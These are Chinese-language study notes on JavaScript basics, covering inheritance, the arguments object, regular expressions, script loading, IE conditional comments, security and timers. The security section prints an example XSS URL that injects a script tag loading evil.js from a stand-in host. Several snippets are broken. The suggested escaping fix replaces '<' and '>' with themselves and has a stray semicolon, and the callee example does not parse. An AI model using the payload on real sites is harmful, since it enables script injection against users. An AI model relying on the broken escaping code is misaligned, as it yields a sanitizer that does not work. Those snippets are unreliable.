1、对象——继承
例子:
var o = {}; //从Object.prototype继承对象方法
o.x=1;
var p = inherit(o); //p继承o和Object.prototype
p.y=2;
var q = inherit(p);
q.x + q.y //=>3 (分别继承自o和p)
2、避免属性访问报错采用如下写法
1)获取属性: var len = book && book.subtitle && book.subtitle.length; //利用了&&短路原理
2)防止变量为undefined或null:a = a || [];
3、“!=”可以区分undefined和null
4、函数调用
1)实参数目 > 形参
采用arguments[X]来获取参数
2)实参数目 < 形参
后面没有实参的形参设为undefined,其中arguments并不是真正的数组,而是以索引为属性,参数值作为属性值的对象,以及包括length属性
3)callee和caller
i:callee可以递归调用自身,如var f = function(x) {return callee(x-1;}
4)当参数较多时忽略顺序调用
修改前: function arraycope(from, from_start, to, to_start, length)
修改后:function easyCopy(args) {
arraycopy(args.from, args.from_start || 0, args.to, args.to_start || 0, args.length);
}
这样的话只要以key-value的形式出现就行了,类似map,不用记住参数的顺序
5、正则表达式
1)(?:...)只是组合,不记忆与该匹配的字符
2)\n 和第n个分组第一次匹配的字符相匹配,也就是从左边起第几个左括号,不包括(?:...)
3)先行断言: /javascript(?=\:) // =>可以匹配javascript:void()
4)负向断言:/java(?!script)/
5)修饰符
/i : 不区分大小写
/g : 全局
/m : 多行
6)使用RegExp
构造时传入的转义符“\”需要替换为"\\"
6、引入脚本
1)<script src="core.js">
config = {width:100, height:200}
</script>
这是一种将页面参数传入库文件的方法,在core.js执行时读取这段文本,然后动态执行一次,浏览器不会自动执行
2)<script defer async src="core.js" />
defer : 延时脚本执行,顺序保持一致
async : 异步执行,无序
如果两个都有的话,看浏览器怎么做,一般按照async执行,defer忽略
7、IE里的条件注释,只能用于html中,不能用于JavaScript中
<!--[if IE 6]>
IE6
<![endif]-->
<!--[if lte IE 7]>
IE6/7
<![endif]-->
<!--[if ! IE]><-->
ie不会显示
<!--><![endif]-->
8、安全性
1)客户端js不能写入删除客户机上的文件或目录
2)只有鼠标点击这样的事件才会新开窗口
3)fileUpload控件的value为只读
4)跨站脚本
http://xxx.xxx.com?name=%3Cscript src=siteb/evil.js %3E%3C/script%3E
其中%3C为“<”的转义符,%3E为“>”的转义符,这就导致了引入了siteb的不可信js代码,类似这样的攻击称作XSS攻击
解决方法:
i:在使用不可信的数据来动态创建文档内容之前,从中移除html标签,一下代码去掉script左右括号
name = name.replace(/</g, "<");.replace(/>/g, ">");
ii:在html5中,iframe中定义了一个sandbox属性,自动禁用脚本
9、定时器
1)var timeout = setTimeout("func1()", 1000); 单次执行,timeout = clearTimeout(timeout);来取消函数执行,参数是setTimeout的返回值
2)var interval = setInterval("func1()", 1000); 循环执行,interval = clearInterval(interval); 来取消后继函数执行,参数是setInterval的返回值